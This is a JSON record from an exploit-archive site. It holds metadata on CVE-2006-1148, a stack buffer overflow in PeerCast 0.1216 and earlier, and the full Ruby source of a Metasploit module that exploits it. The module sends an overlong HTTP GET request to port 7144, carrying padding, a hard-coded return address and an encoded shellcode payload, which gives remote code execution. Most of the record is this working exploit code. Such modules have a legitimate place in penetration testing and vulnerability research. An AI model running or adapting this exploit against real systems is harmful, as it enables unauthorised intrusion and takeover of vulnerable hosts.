{"exploit":{"id":"MSF-linux--http--peercast_url","name":"PeerCast URL Handling Buffer Overflow","description":"This module exploits a stack buffer overflow in PeerCast <= v0.1216. The vulnerability is caused due to a boundary error within the handling of URL parameters.","cves":["CVE-2006-1148"],"author":"MC","published":"2006-03-08","platform":"Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/28c856ca21ac307a61589dae6a173dfc2003a235/modules/exploits/linux/http/peercast_url.rb","path":"modules/exploits/linux/http/peercast_url.rb","revision":"28c856ca21ac307a61589dae6a173dfc2003a235","filename":"peercast_url.rb","vulnerabilities":[{"id":"CVE-2006-1148","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple stack-based buffer overflows in the procConnectArgs function in servmgr.cpp in PeerCast before 0.1217 allow remote attackers to execute arbitrary code via an HTTP GET request with a long (1) parameter name or (2) value in a URL, which triggers the overflow in the nextCGIarg function in servhs.cpp.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-1148","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-1148"},"updatedAt":"2024-08-07T17:03:27.499Z","retrievedAt":"2026-11-27T03:41:58.241Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--peercast_url.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--peercast_url","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--peercast_url/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--peercast_url/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = AverageRanking\n\n  include Msf::Exploit::Remote::Tcp\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'PeerCast URL Handling Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in PeerCast <= v0.1216.\n          The vulnerability is caused due to a boundary error within the\n          handling of URL parameters.\n        },\n        'Author' => [ 'MC' ],\n        'License' => BSD_LICENSE,\n        'References' => [\n          ['CVE', '2006-1148'],\n          ['OSVDB', '23777'],\n          ['BID', '17040']\n        ],\n        'Privileged' => false,\n        'Payload' => {\n          'Space' => 200,\n          'BadChars' => \"\\x00\\x0a\\x0d\\x20\\x0d\\x2f\\x3d\\x3b\",\n          'MinNops' => 64,\n        },\n        'Platform' => 'linux',\n        'Arch' => ARCH_X86,\n        'Targets' => [\n          ['PeerCast v0.1212 Binary', { 'Ret' => 0x080922f7 }],\n        ],\n        'DisclosureDate' => '2006-03-08',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      Opt::RPORT(7144)\n    ])\n  end\n\n  def exploit\n    connect\n\n    pat = rand_text_alphanumeric(780)\n    pat << [target.ret].pack('V')\n    pat << payload.encoded\n\n    uri = '/stream/?' + pat\n\n    res = \"GET #{uri} HTTP/1.0\\r\\n\\r\\n\"\n\n    print_status(\"Trying target address 0x%.8x...\" % target.ret)\n    sock.put(res)\n\n    handler\n    disconnect\n  end\nend\n","sha256":"07c9fa2a818b4556186c237a9c0826af7d6ed45effa8586faf92424e1484abc5","bytes":1739,"fetchedAt":"2026-11-27T17:53:29.349Z","encoding":"utf-8 (display only; download retains original bytes)"}